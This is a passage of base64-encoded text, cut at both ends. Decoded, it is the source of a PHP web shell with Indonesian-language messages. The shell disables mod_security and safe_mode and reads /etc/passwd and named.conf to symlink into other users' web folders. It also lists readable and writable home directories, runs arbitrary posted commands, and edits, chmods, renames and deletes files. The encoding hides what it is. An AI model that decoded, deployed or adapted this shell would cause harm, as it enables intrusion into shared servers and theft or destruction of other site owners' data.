MiLCJ3Iik7DQoJCWVjaG8gZndyaXRlKCRmaWxlLCI8SWZNb2R1bGUgbW9kX3NlY3VyaXR5LmM+DQpTZWNGaWx0ZXJFbmdpbmUgT2ZmDQpTZWNGaWx0ZXJTY2FuUE9TVCBPZmYNCjwvSWZNb2R1bGU+DQoJIik7DQoJCWZjbG9zZSgkZmlsZSk7DQoJCWVjaG8gImh0YWNjZXNzIHN1Y2Nlc3NmdWxseSBjcmVhdGVkISI7DQp9ICAgICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydsaXRpbmknXSkpew0KCQkkaW5pcGggPSAnPD8gbiBlY2hvIGluaV9nZXQoInNhZmVfbW9kZSIpOyBuIGVjaG8gaW5pX2dldCgib3Blbl9iYXNlZGlyIik7IG4gaW5jbHVkZSgkX0dFVFsiZmlsZSJdKTsgbiBpbmlfcmVzdG9yZSgic2FmZV9tb2RlIik7IG4gaW5pX3Jlc3RvcmUoIm9wZW5fYmFzZWRpciIpOyBuIGVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7IG4gZWNobyBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTsgbiBpbmNsdWRlKCRfR0VUWyJzcyJdOyBuID8+JzsNCgkJCSAkYnlwaCA9ICJzYWZlX21vZGUgPSBPZmYgbiBkaXNhYmxlX2Z1bmN0aW9ucz0gIjsNCgkJJGNvbXA9IlBFWnBiR1Z6SUNvdWNHaHdQZzBLUm05eVkyVlVlWEJsSUdGd2NHeHBZMkYwYVc5dUwzZ3RhSFIwY0dRdGNHaHdOQTBLUEM5R2FXeGxjejQ9IjsNCgkJZmlsZV9wdXRfY29udGVudHMoInBocC5pbmkiLGJhc2U2NF9kZWNvZGUoJGJ5cGgpKTsNCgkJZmlsZV9wdXRfY29udGVudHMoImluaS5waHAiLGJhc2U2NF9kZWNvZGUoJGluaXBoKSk7DQoJCWZpbGVfcHV0X2NvbnRlbnRzKCIuaHRhY2Nlc3MiLGJhc2U2NF9kZWNvZGUoJGNvbXApKTsNCgkJZWNobyAiPHNjcmlwdD5hbGVydCgnRGlzYWJsZSBGdW5jdGlvbnMgaW4gTGl0ZXNwZWVkIENyZWF0ZWQnKTsgaGlkZUFsbCgpOzwvc2NyaXB0PiI7DQoJCWVjaG8iPC9jZW50ZXI+IjsNCn0NCg0KfQ0KZWxzZWlmKCRfR0VUWydhJ10gPT0gJ3N5bWxpbmsnKSB7DQokZnVsbCA9IHN0cl9yZXBsYWNlKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10sICIiLCAkcGF0aCk7DQokZDBtYWlucyA9IEBmaWxlKCIvZXRjL25hbWVkLmNvbmYiKTsNCiMjaHR0YWNlcw0KaWYoJGQwbWFpbnMpew0KQG1rZGlyKCJrMHYzVF9zeW0iLDA3NzcpOw0KQGNoZGlyKCJrMHYzVF9zeW0iKTsNCkBleGUoImxuIC1zIC8gcm9vdCIpOw0KJGZpbGUzID0gJ09wdGlvbnMgSW5kZXhlcyBGb2xsb3dTeW1MaW5rcw0KRGlyZWN0b3J5SW5kZXggazB2M1QuaHRtDQpBZGRUeXBlIHRleHQvcGxhaW4gLnBocA0KQWRkSGFuZGxlciB0ZXh0L3BsYWluIC5waHANClNhdGlzZnkgQW55JzsNCiRmcDMgPSBmb3BlbignLmh0YWNjZXNzJywndycpOw0KJGZ3MyA9IGZ3cml0ZSgkZnAzLCRmaWxlMyk7QGZjbG9zZSgkZnAzKTsNCmVjaG8gIjxicj4NCjx0YWJsZSBhbGlnbj1jZW50ZXIgYm9yZGVyPTEgc3R5bGU9J3dpZHRoOjYwJTtib3JkZXItY29sb3I6IzMzMzMzMzsnPg0KPHRyPg0KPHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTI+Uy4gTm8uPC9mb250PjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxmb250IHNpemU9Mj5Eb21haW5zPC9mb250PjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxmb250IHNpemU9Mj5Vc2VyczwvZm9udD48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTI+U3ltbGluazwvZm9udD48L3RkPg0KPC90cj4iOw0KJGRjb3VudCA9IDE7DQpmb3JlYWNoKCRkMG1haW5zIGFzICRkMG1haW4pew0KaWYoZXJlZ2koInpvbmUiLCRkMG1haW4pKXtwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkMG1haW4sICRkb21haW5zKTsNCmZsdXNoKCk7DQppZihzdHJsZW4odHJpbSgkZG9tYWluc1sxXVswXSkpID4gMil7DQokdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZG9tYWluc1sxXVswXSkpOw0KZWNobyAiPHRyIGFsaWduPWNlbnRlcj48dGQ+PGZvbnQgc2l6ZT0yPiIgLiAkZGNvdW50IC4gIjwvZm9udD48L3RkPg0KPHRkIGFsaWduPWxlZnQ+PGEgaHJlZj1odHRwOi8vd3d3LiIuJGRvbWFpbnNbMV1bMF0uIi8+PGZvbnQgY2xhc3M9dHh0PiIuJGRvbWFpbnNbMV1bMF0uIjwvZm9udD48L2E+PC90ZD4NCjx0ZD4iLiR1c2VyWyduYW1lJ10uIjwvdGQ+DQo8dGQ+PGEgaHJlZj0nJGZ1bGwvazB2M1Rfc3ltL3Jvb3QvaG9tZS8iLiR1c2VyWyduYW1lJ10uIi9wdWJsaWNfaHRtbCcgdGFyZ2V0PSdfYmxhbmsnPjxmb250IGNsYXNzPXR4dD5TeW1saW5rPC9mb250PjwvYT48L3RkPjwvdHI+IjsNCmZsdXNoKCk7DQokZGNvdW50Kys7fX19DQplY2hvICI8L3RhYmxlPiI7DQp9ZWxzZXsNCiRURVNUPUBmaWxlKCcvZXRjL3Bhc3N3ZCcpOw0KaWYgKCRURVNUKXsNCkBta2RpcigiazB2M1Rfc3ltIiwwNzc3KTsNCkBjaGRpcigiazB2M1Rfc3ltIik7DQpleGUoImxuIC1zIC8gcm9vdCIpOw0KJGZpbGUzID0gJ09wdGlvbnMgSW5kZXhlcyBGb2xsb3dTeW1MaW5rcw0KRGlyZWN0b3J5SW5kZXggazB2M1QuaHRtDQpBZGRUeXBlIHRleHQvcGxhaW4gLnBocA0KQWRkSGFuZGxlciB0ZXh0L3BsYWluIC5waHANClNhdGlzZnkgQW55JzsNCiAkZnAzID0gZm9wZW4oJy5odGFjY2VzcycsJ3cnKTsNCiAkZnczID0gZndyaXRlKCRmcDMsJGZpbGUzKTsNCiBAZmNsb3NlKCRmcDMpOw0KIGVjaG8gIg0KIDx0YWJsZSBhbGlnbj1jZW50ZXIgYm9yZGVyPTE+PHRyPg0KIDx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0zPlMuIE5vLjwvZm9udD48L3RkPg0KIDx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0zPlVzZXJzPC9mb250PjwvdGQ+DQogPHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTM+U3ltbGluazwvZm9udD48L3RkPjwvdHI+IjsNCiAkZGNvdW50ID0gMTsNCiAkZmlsZSA9IGZvcGVuKCIvZXRjL3Bhc3N3ZCIsICJyIikgb3IgZXhpdCgiVW5hYmxlIHRvIG9wZW4gZmlsZSEiKTsNCiB3aGlsZSghZmVvZigkZmlsZSkpew0KICRzID0gZmdldHMoJGZpbGUpOw0KICRtYXRjaGVzID0gYXJyYXkoKTsNCiAkdCA9IHByZWdfbWF0Y2goJy9cLyguKj8pXDpcLy9zJywgJHMsICRtYXRjaGVzKTsNCiAkbWF0Y2hlcyA9IHN0cl9yZXBsYWNlKCJob21lLyIsIiIsJG1hdGNoZXNbMV0pOw0KIGlmKHN0cmxlbigkbWF0Y2hlcykgPiAxMiB8fCBzdHJsZW4oJG1hdGNoZXMpID09IDAgfHwgJG1hdGNoZXMgPT0gImJpbiIgfHwgJG1hdGNoZXMgPT0gImV0Yy9YMTEvZnMiIHx8ICRtYXRjaGVzID09ICJ2YXIvbGliL25mcyIgfHwgJG1hdGNoZXMgPT0gInZhci9hcnB3YXRjaCIgfHwgJG1hdGNoZXMgPT0gInZhci9nb3BoZXIiIHx8ICRtYXRjaGVzID09ICJzYmluIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2FkbSIgfHwgJG1hdGNoZXMgPT0gInVzci9nYW1lcyIgfHwgJG1hdGNoZXMgPT0gInZhci9mdHAiIHx8ICRtYXRjaGVzID09ICJldGMvbnRwIiB8fCAkbWF0Y2hlcyA9PSAidmFyL3d3dyIgfHwgJG1hdGNoZXMgPT0gInZhci9uYW1lZCIpDQogY29udGludWU7DQogZWNobyAiPHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0yPiIgLiAkZGNvdW50IC4gIjwvdGQ+DQogPHRkIGFsaWduPWNlbnRlcj48Zm9udCBjbGFzcz10eHQ+IiAuICRtYXRjaGVzIC4gIjwvdGQ+IjsNCiBlY2hvICI8dGQgYWxpZ249Y2VudGVyPjxmb250IGNsYXNzPXR4dD48YSBocmVmPSRmdWxsL2swdjNUX3N5bS9yb290L2hvbWUvIiAuICRtYXRjaGVzIC4gIi9wdWJsaWNfaHRtbCB0YXJnZXQ9J19ibGFuayc+U3ltbGluazwvYT48L3RkPjwvdHI+IjsNCiAkZGNvdW50Kys7fWZjbG9zZSgkZmlsZSk7DQogZWNobyAiPC90YWJsZT4iO31lbHNle2lmKCRvcyAhPSAiV2luZG93cyIpe0Bta2RpcigiazB2M1Rfc3ltIiwwNzc3KTtAY2hkaXIoImswdjNUX3N5bSIpO0BleGUoImxuIC1zIC8gcm9vdCIpOyRmaWxlMyA9ICcNCiBPcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3MNCkRpcmVjdG9yeUluZGV4IGswdjNULmh0bQ0KQWRkVHlwZSB0ZXh0L3BsYWluIC5waHANCkFkZEhhbmRsZXIgdGV4dC9wbGFpbiAucGhwDQpTYXRpc2Z5IEFueQ0KJzsNCiAkZnAzID0gZm9wZW4oJy5odGFjY2VzcycsJ3cnKTsNCiAkZnczID0gZndyaXRlKCRmcDMsJGZpbGUzKTtAZmNsb3NlKCRmcDMpOw0KIGVjaG8gIg0KIDxkaXYgY2xhc3M9J215Ym94Jz48aDIgY2xhc3M9J2sybGwzM2QyJz5zZXJ2ZXIgc3ltbGlua2VyPC9oMj4NCiA8dGFibGUgYWxpZ249Y2VudGVyIGJvcmRlcj0xPjx0cj4NCiA8dGQgYWxpZ249Y2VudGVyPjxmb250IHNpemU9Mz5JRDwvZm9udD48L3RkPg0KIDx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0zPlVzZXJzPC9mb250PjwvdGQ+DQogPHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTM+U3ltbGluazwvZm9udD48L3RkPjwvdHI+IjsNCiAkdGVtcCA9ICIiOyR2YWwxID0gMDskdmFsMiA9IDEwMDA7DQogZm9yKDskdmFsMSA8PSAkdmFsMjskdmFsMSsrKSB7JHVpZCA9IEBwb3NpeF9nZXRwd3VpZCgkdmFsMSk7DQogaWYgKCR1aWQpJHRlbXAgLj0gam9pbignOicsJHVpZCkuIlxuIjt9DQogZWNobyAnPGJyLz4nOyR0ZW1wID0gdHJpbSgkdGVtcCk7JGZpbGU1ID0NCiBmb3BlbigidGVzdC50eHQiLCJ3Iik7DQogZnB1dHMoJGZpbGU1LCR0ZW1wKTsNCiBmY2xvc2UoJGZpbGU1KTskZGNvdW50ID0gMTskZmlsZSA9DQogZm9wZW4oInRlc3QudHh0IiwgInIiKSBvciBleGl0KCJVbmFibGUgdG8gb3BlbiBmaWxlISIpOw0KIHdoaWxlKCFmZW9mKCRmaWxlKSl7JHMgPSBmZ2V0cygkZmlsZSk7JG1hdGNoZXMgPSBhcnJheSgpOw0KICR0ID0gcHJlZ19tYXRjaCgnL1wvKC4qPylcOlwvL3MnLCAkcywgJG1hdGNoZXMpOyRtYXRjaGVzID0gc3RyX3JlcGxhY2UoImhvbWUvIiwiIiwkbWF0Y2hlc1sxXSk7DQogaWYoc3RybGVuKCRtYXRjaGVzKSA+IDEyIHx8IHN0cmxlbigkbWF0Y2hlcykgPT0gMCB8fCAkbWF0Y2hlcyA9PSAiYmluIiB8fCAkbWF0Y2hlcyA9PSAiZXRjL1gxMS9mcyIgfHwgJG1hdGNoZXMgPT0gInZhci9saWIvbmZzIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2FycHdhdGNoIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2dvcGhlciIgfHwgJG1hdGNoZXMgPT0gInNiaW4iIHx8ICRtYXRjaGVzID09ICJ2YXIvYWRtIiB8fCAkbWF0Y2hlcyA9PSAidXNyL2dhbWVzIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2Z0cCIgfHwgJG1hdGNoZXMgPT0gImV0Yy9udHAiIHx8ICRtYXRjaGVzID09ICJ2YXIvd3d3IiB8fCAkbWF0Y2hlcyA9PSAidmFyL25hbWVkIikNCiBjb250aW51ZTsNCiBlY2hvICI8dHI+PHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTI+IiAuICRkY291bnQgLiAiPC90ZD4NCiA8dGQgYWxpZ249Y2VudGVyPjxmb250IGNsYXNzPXR4dD4iIC4gJG1hdGNoZXMgLiAiPC90ZD4iOw0KIGVjaG8gIjx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgY2xhc3M9dHh0PjxhIGhyZWY9JGZ1bGwvazB2M1Rfc3ltL3Jvb3QvaG9tZS8iIC4gJG1hdGNoZXMgLiAiL3B1YmxpY19odG1sIHRhcmdldD0nX2JsYW5rJz5TeW1saW5rPC9hPjwvdGQ+PC90cj4iOw0KICRkY291bnQrKzt9DQogZmNsb3NlKCRmaWxlKTsNCiBlY2hvICI8L3RhYmxlPjwvZGl2PjwvY2VudGVyPiI7dW5saW5rKCJ0ZXN0LnR4dCIpOw0KIH0gZWxzZQ0KIGVjaG8gIjxjZW50ZXI+PGZvbnQgc2l6ZT0zPkNhbm5vdCBjcmVhdGUgU3ltbGluazwvZm9udD48L2NlbnRlcj4iOw0KIH0NCiB9DQojI0pVTVBJTkcgDQp9IGVsc2VpZigkX0dFVFsnYSddID09ICdqdW1waW5nJykgew0KICAgICRpID0gMDsNCiAgICBlY2hvICI8cHJlPjxkaXYgY2xhc3M9J21hcmdpbjogNXB4IGF1dG87Jz4iOw0KICAgICRldGMgPSBmb3BlbigiL2V0Yy9wYXNzd2QiLCAiciIpIG9yIGRpZSgiPGZvbnQgY29sb3I9cmVkPkNhbid0IHJlYWQgL2V0Yy9wYXNzd2Q8L2ZvbnQ+Iik7DQogICAgd2hpbGUoJHBhc3N3ZCA9IGZnZXRzKCRldGMpKSB7DQppZigkcGFzc3dkID09ICcnIHx8ICEkZXRjKSB7DQogICAgZWNobyAiPGZvbnQgY29sb3I9cmVkPkNhbid0IHJlYWQgL2V0Yy9wYXNzd2Q8L2ZvbnQ+IjsNCn0gZWxzZSB7DQogICAgcHJlZ19tYXRjaF9hbGwoJy8oLio/KTp4Oi8nLCAkcGFzc3dkLCAkdXNlcl9qdW1waW5nKTsNCiAgICBmb3JlYWNoKCR1c2VyX2p1bXBpbmdbMV0gYXMgJHVzZXJfaWR4X2p1bXApIHsNCiAgICAgICAgJHVzZXJfanVtcGluZ19kaXIgPSAiL2hvbWUvJHVzZXJfaWR4X2p1bXAvcHVibGljX2h0bWwiOw0KICAgICAgICBpZihpc19yZWFkYWJsZSgkdXNlcl9qdW1waW5nX2RpcikpIHsNCiAgICAgICAgICAgICRpKys7DQogICAgICAgICAgICAkanJ3ID0gIls8Zm9udCBjb2xvcj0jNWRkY2ZjPlI8L2ZvbnQ+XSA8YSBocmVmPSc/ZGlyPSR1c2VyX2p1bXBpbmdfZGlyJz48Zm9udCBjb2xvcj1yZWQ+JHVzZXJfanVtcGluZ19kaXI8L2ZvbnQ+PC9hPiI7DQogICAgICAgICAgICBpZihpc193cml0YWJsZSgkdXNlcl9qdW1waW5nX2RpcikpIHsNCiAgICAgICAgICAgICAgICAkanJ3ID0gIls8Zm9udCBjb2xvcj0jNWRkY2ZjPlJXPC9mb250Pl0gPGEgaHJlZj0nP2Rpcj0kdXNlcl9qdW1waW5nX2Rpcic+PGZvbnQgY29sb3I9IzVkZGNmYz4kdXNlcl9qdW1waW5nX2RpcjwvZm9udD48L2E+IjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVjaG8gJGpydzsNCiAgICAgICAgICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSkgew0KICAgICAgICAgICAgICAgICRkb21haW5fanVtcCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCIvZXRjL25hbWVkLmNvbmYiKTsgICANCiAgICAgICAgICAgICAgICBpZigkZG9tYWluX2p1bXAgPT0gJycpIHsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAiID0+ICggPGZvbnQgY29sb3I9cmVkPmdhZ2FsIG1lbmdhbWJpbCBuYW1hIGRvbWFpbiBueWE8L2ZvbnQ+ICk8YnI+IjsNCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICBwcmVnX21hdGNoX2FsbCgiIy92YXIvbmFtZWQvKC4qPykuZGIjIiwgJGRvbWFpbl9qdW1wLCAkZG9tYWluc19qdW1wKTsNCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkZG9tYWluc19qdW1wWzFdIGFzICRkaikgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHVzZXJfanVtcGluZ191cmwgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyRkaiIpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICR1c2VyX2p1bXBpbmdfdXJsID0gJHVzZXJfanVtcGluZ191cmxbJ25hbWUnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCR1c2VyX2p1bXBpbmdfdXJsID09ICR1c2VyX2lkeF9qdW1wKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiID0+ICggPHU+JGRqPC91PiApPGJyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gIjxicj4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KfQ0KICAgIH0NCiAgICBpZigkaSA9PSAwKSB7DQogICAgfSBlbHNlIHsNCmVjaG8gIjxicj5Ub3RhbCBhZGEgIi4kaS4iIEthbWFyIGRpICIuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLiIiOw0KICAgIA0KICAgIGVjaG8gIjwvZGl2PjwvcHJlPiI7DQoJCX0NCg0KDQoNCi8vQ09ORklHDQoNCn0gZWxzZWlmKCRfR0VUWydhJ10gPT0gJ2NtZCcpIHsNCgllY2hvICI8Zm9ybSBtZXRob2Q9J3Bvc3QnPg0KCTxmb250IHN0eWxlPSd0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsnPiIuJHVzZXIuIkAiLiRpcC4iOiB+ICQgPC9mb250Pg0KCTxpbnB1dCB0eXBlPSd0ZXh0JyBzaXplPSczMCcgaGVpZ2h0PScxMCcgbmFtZT0nY21kJz48aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdkb19jbWQnIHZhbHVlPSc+Pic+DQoJPC9mb3JtPiI7DQoJaWYoJF9QT1NUWydkb19jbWQnXSkgew0KCQllY2hvICI8cHJlPiIuZXhlKCRfUE9TVFsnY21kJ10pLiI8L3ByZT4iOw0KCX0NCg0KLy9TVEFSVA0KfSBlbHNlaWYoaXNzZXQoJF9HRVRbJ2ZpbGVzcmMnXSkpew0KZWNobyAiPHRyPjx0ZD5DdXJyZW50IEZpbGUgOiAiOw0KZWNobyAkX0dFVFsnZmlsZXNyYyddOw0KZWNobyAnPC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsNCmVjaG8oJyA8Y2VudGVyPjx0ZXh0YXJlYSBzdHlsZT0id2lkdGg6ODAlO2hlaWdodDo1MCU7IiByZWFkb25seT4gJy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRfR0VUWydmaWxlc3JjJ10pKS4nPC90ZXh0YXJlYT48L2NlbnRlcj4nKTsNCn1lbHNlaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX1BPU1RbJ29wdCddICE9ICdkZWxldGUnKXsNCmVjaG8gJzwvdGFibGU+PGJyIC8+Jy4kX1BPU1RbJ3BhdGgnXS4nPGJyIC8+PGJyIC8+JzsNCmlmKCRfUE9TVFsnb3B0J10gPT0gJ2NobW9kJyl7DQppZihpc3NldCgkX1BPU1RbJ3Blcm0nXSkpew0KaWYoY2htb2QoJF9QT1NUWydwYXRoJ10sJF9QT1NUWydwZXJtJ10pKXsNCmVjaG8gJzxmb250IGNvbG9yPSIjNWRkY2ZjIj5HYW50aSAgUGVybWlzc2lvbiBCZXJoYXNpbCBHYW48L2ZvbnQ+PGJyIC8+JzsNCn1lbHNlew0KZWNobyAnPGZvbnQgY29sb3I9IlJFRCI+R2FudGkgUGVybWlzc2lvbiBHYWdhbCBHYW48L2ZvbnQ+PGJyIC8+JzsNCn0NCn0NCmVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQpQZXJtaXNzaW9uIDogPGlucHV0IG5hbWU9InBlcm0iIHR5cGU9InRleHQiIHNpemU9IjQiIHZhbHVlPSInLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkX1BPU1RbJ3BhdGgnXSkpLCAtNCkuJyIgLz4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iY2htb2QiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkNobW9kIiAvPg0KPC9mb3JtPic7DQp9ZWxzZWlmKCRfUE9TVFsnb3B0J10gPT0gJ3JlbmFtZScpew0KaWYoaXNzZXQoJF9QT1NUWyduZXduYW1lJ10pKXsNCmlmKHJlbmFtZSgkX1BPU1RbJ3BhdGgnXSwkcGF0aC4nLycuJF9QT1NUWyduZXduYW1lJ10pKXsNCmVjaG8gJzxmb250IGNvbG9yPSIjNWRkY2ZjIj5HYW50aSBOYW1hIEJlcmhhc2lsIEdhbjwvZm9udD48YnIgLz4nOw0KfWVsc2V7DQplY2hvICc8Zm9udCBjb2xvcj0iUkVEIj5HYW50aSBOYW1hIEdhZ2FsIEdhbjwvZm9udD48YnIgLz4nOw0KfQ0KJF9QT1NUWyduYW1lJ10gPSAkX1BPU1RbJ25ld25hbWUnXTsNCn0NCmVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQpOYW1hIEJhcnUgOiA8aW5wdXQgbmFtZT0ibmV3bmFtZSIgdHlwZT0idGV4dCIgc2l6ZT0iMzAiIHZhbHVlPSInLiRfUE9TVFsnbmFtZSddLiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kX1BPU1RbJ3BhdGgnXS4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9InJlbmFtZSI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVWJhaCBOYW1hIiAvPg0KPC9mb3JtPic7DQp9ZWxzZWlmKCRfUE9TVFsnb3B0J10gPT0gJ2VkaXQnKXsNCmlmKGlzc2V0KCRfUE9TVFsnc3JjJ10pKXsNCiRmcCA9IGZvcGVuKCRfUE9TVFsncGF0aCddLCd3Jyk7DQppZihmd3JpdGUoJGZwLCRfUE9TVFsnc3JjJ10pKXsNCmVjaG8gJzxmb250IGNvbG9yPSIjNWRkY2ZjIj5FZGl0IEZpbGUgQmVyaGFzaWwgR2FuPC9mb250PjxiciAvPic7DQp9ZWxzZXsNCmVjaG8gJzxmb250IGNvbG9yPSJSRUQiPkVkaXQgRmlsZSBHYWdhbCBHYW48L2ZvbnQ+PGJyIC8+JzsNCn0NCmZjbG9zZSgkZnApOw0KfQ0KZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4NCjx0ZXh0YXJlYSBjb2xzPTE0MCByb3dzPTIwIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncGF0aCddKSkuJzwvdGV4dGFyZWE+PGJyIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kX1BPU1RbJ3BhdGgnXS4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImVkaXQiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVkaXQgRmlsZSIgLz4NCjwvZm9ybT4nOw0KfQ0KZWNobyAnPC9jZW50ZXI+JzsNCn1lbHNlew0KZWNobyAnPC90YWJsZT48YnIgLz48Y2VudGVyPic7DQppZihpc3NldCgkX0dFVFsnb3B0aW9uJ10pICYmICRfUE9TVFsnb3B0J10gPT0gJ2RlbGV0ZScpew0KaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ2Rpcicpew0KaWYocm1kaXIoJF9QT1NUWydwYXRoJ10pKXsNCmVjaG8gJzxmb250IGNvbG9yPSIjNWRkY2ZjIj5IYXB1cyBEaXIgQmVyaGFzaWwgR2FuPC9mb250PjxiciAvPic7DQp9ZWxzZXsNCmVjaG8gJzxmb250IGNvbG9yPSJyZWQiPkhhcHVzIERpciBHYWdhbCBHYW48L2ZvbnQ+PGJyIC8+JzsNCn0NCn1lbHNlaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ2ZpbGUnKXsNCmlmKHVubGluaygkX1BPU1RbJ3BhdGgnXSkpew0KZWNobyAnPGZvbnQgY29sb3I9IiM1ZGRjZmMiPkhhcHVzIEZpbGUgQmVyaGFzaWwgR2FuPC9mb250PjxiciAvPic7DQp9ZWxzZXsNCmVjaG8gJzxmb250IGNvbG9yPSIjcmVkIj5IYXB1cyBGaWxlIEdhZ2FsIEdhbjwvZm9udD48YnIgLz4nOw0KfQ0KfQ0KfQ0KCQkNCmVjaG8gJzwvY2VudGVyPic7DQokc2NhbmRpciA9IHNjYW5kaXIoJHBhdGgpOw0KZWNobyAnPGRpdiBpZD0iY29udGVudCI+PHRhYmxlIHdpZHRoPSI3MDBweCIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iNCIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPg0KPHRyIGNsYXNzPSJmaXJzdCI+DQo8Yj48dGQ+PGNlbnRlcj48Zm9udCBjb2xvcj1ibGFjayBzaXplPTM+TmFtZTwvZm9udD48L2NlbnRlcj48L3RkPjwvYj4NCjxiPjx0ZD48Y2VudGVyPjxmb250IGNvbG9yPWJsYWNrIHNpemU9Mz5TaXplPC9mb250PjwvY2VudGVyPjwvdGQ+PC9iPg0KPGI+PHRkPjxjZW50ZXI+PGZvbnQgY29sb3I9YmxhY2sgc2l6ZT0zPlBlcm1pc3Npb25zPC9mb250PjwvY2VudGVyPjwvdGQ+PC9iPg0KPGI+PHRkPjxjZW50ZXI+PGZvbnQgY29sb3I9YmxhY2sgc2l6ZT0zPk9wdGlvbnM8L2ZvbnQ+PC9jZW50ZXI+PC90ZD48L2I+DQo8L3RyPic7DQoNCmZvcmVhY2goJHNjYW5kaXIgYXMgJGRpcil7DQppZighaXNfZGlyKCIkcGF0aC8kZGlyIikgfHwgJGRpciA9PSAnLicgfHwgJGRpciA9PSAnLi4nKSBjb250aW51ZTsNCmVjaG8gIjx0ZCBjbGFzcz0ndGRfaG9tZSc+PGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxSMGxHT0RsaEV3QVFBTE1BQUFBQUFQLy8vNXljQU03T1kvLy9uUC8venYvT25QZjM5Ly8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4iQUFBQUFDSDVCQUVBQUFnQUxBQUFBQUFUQUJBQUFBUlJFTWxKcTcwNDZ5cDZCeHNpSEVWQkVBS1lDVVByRHA3SGxYUmRFb01xQ2VicCIuIi80WWNoZmZ6R1FoSDRZUllQQjJET2xIUGlLd3FkMVBxOHlyVlZnM1FZZUg1UllLNXJKZmFGVVVBM3ZCNGZCSUJBRHM9Jz4NCjxhIGhyZWY9XCI/cGF0aD0kcGF0aC8kZGlyXCI+PGZvbnQgY29sb3I9cmVkPiRkaXI8L2ZvbnQ+PC9hPjwvdGQ+DQo8dGQ+PGNlbnRlcj48Zm9udCBjb2xvcj1yZWQ+RGlyZWN0b3J5PC9mb250PjwvY2VudGVyPjwvdGQ+DQo8dGQ+PGNlbnRlcj4iOw0KCQ0KaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9IiM1ZGRjZmMiPic7DQplbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzxmb25